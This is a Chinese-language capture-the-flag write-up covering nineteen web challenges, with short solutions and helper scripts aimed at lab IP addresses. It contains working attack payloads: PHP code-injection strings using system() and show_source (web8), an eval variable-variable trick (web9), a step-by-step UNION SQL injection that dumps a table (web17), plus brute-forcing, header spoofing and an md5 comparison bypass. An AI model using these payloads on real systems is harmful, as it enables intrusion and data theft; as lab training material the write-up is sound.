web1
打开场景,按F12查看源代码
web2
打开是一个计算器,但是只能输入一个数字。打开源码修改长度
输入结果就得flag
web3
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
web4
法一:hackbar传参
法二:构造表单
<form action="/post/" method="post">
<input type="text" name="what">
<button type="submit" value="提交">提交</button>
</form>
输入flag提交即可
法三:bp构造post
法四:脚本
import requests
s = requests.Session()
r1 = s.get("http://114.67.246.176:18020/")
values = {
'what': 'flag'}
r2 = s.post("http://114.67.246.176:18020/", values)
print(r2.text)
web5
变量$num
的值不为数字或数字字符串,但是$num
的值为1
web6
打开场景一直弹窗,查看源码发现下面有一段javascript代码
进行html解码得到flag
web7
你必须让他停下
bp抓包,发送三次可以发现flag
web8
文件包含
法一:?hello=file(“flag”)
法二:?hello=1);show_source(‘flag.php’
法三:?hello=system(‘tac flag.php’)
web9
flag In the variable !//flag在变量里
<?php
error_reporting(0);//代表关闭报错提示
include "flag1.php";//包含文件 flag1.php
highlight_file(__file__);//对文件进行语法高亮显示
if(isset($_GET['args'])){
//条件判断 get方法传递的args参数是否存在存在为真
$args = $_GET['args'];//赋值给变量 $args
if(!preg_match("/^\w+$/",$args)){
//正则表达式判断 正则表达式格式 为:开头 /^ 结尾 $/ \w 代表任意大小写字母和数字 不包括特殊符号 +为匹配前一个字符一次或无数次
//if条件判断 $args 是否符合正则表达式格式 不符合返回true (函数取反)
die("args error!");
}
eval("var_dump($$args);");// eval()函数 将字符串作为php代码执行结尾加分号 var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构
如果是数组,就以数组的方式输出 变量类型+变量
}
?>
思路:eval()函数存在命令执行漏洞 我们的目标是查看flag1.php中的flag 首先想到的是本地包含漏洞查看源码 或者上传一句话木马等思路 。而本题条件判断加了正则表达式判断,过滤了括号和引号等字符。无法构造! 但输出时是$$args
($$args
可以理解为$($args)
)。我们想到构造 php中超全局变量 $GLOBALS ,他的作用是引用全局作用域中可用的全部变量,因此只需将args的值设置为GLOBALS即可,URL中输入 /?args=GLOBALS ,找到flag。
web10
头等舱
web11
根据描述先用御剑扫描一下
尝试输入index.php,发现还是老样子
输入shell.php
爆破密码,输入得flag
web12
是一个管理员系统,查看源码发现:
base64解码得:test123,猜测应该是密码。
后面进行抓包,爆破账号,添加X-Forwarded-For:127.0.0.1
web13
查看源代码
p1+%35%34%61%61%32+p2进行unescape解码
将这个输入即可得flag
web14
看到file,index.php就想到试试php协议
file
web15
bp抓包爆破:
输入即得flag
web16
提示备份是个好习惯。php的备份有两种:.php和.php.bak
尝试输入,有:
得到
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
代码审计
1.首先要对key进行了绕过
因此构造双重变量:kkeyey1和kkeyey2
2.然后key1和key2的md5值相等,然后key1
web17
直接输入’,发现没有回显,判断为字符型注入。
1.先判断字段数:
1' order by 5#
无回显
1'order by 4#
回显
说明字段数为4
2.判断存在注入点:
-1' union select 1,2,3,4#
可知:2,3,4都有回显。
3.查数据库名:
-1' union select 1,2,3,database()#
得到skctf
4.查表名:
-1' union select 1,2,3,table_name from information_schema.tables where table_schema='skctf'#
得到fl4g
5.直接获取表中数据:
-1' union select 1,2,3,(select * from fl4g)#
web18
直接上大佬的代码:
import requests
import re
url = 'http://114.67.246.176:12349/' #这里是自己的网址
s = requests.Session() //用session会话保持表达式是同一个
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression) //eval() 函数用来执行一个字符串表达式,并返回表达式的值。
post = {
'value': result}
print(s.post(url, data = post).text)
web19
base64解码再解码并且进行请求还是没有用
只好再用大佬代码了:
import requests
import base64
url = "http://114.67.246.176:18216/"
r = requests.session()
headers = r.get(url).headers # 因为flag在消息头里
mid = base64.b64decode(headers['flag'])
mid = mid.decode() # 为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的
flag = base64.b64decode(mid.split(':')[1]) # 获得flag:后的值
data = {
'margin': flag}
print(r.post(url, data).text) # post方法传上去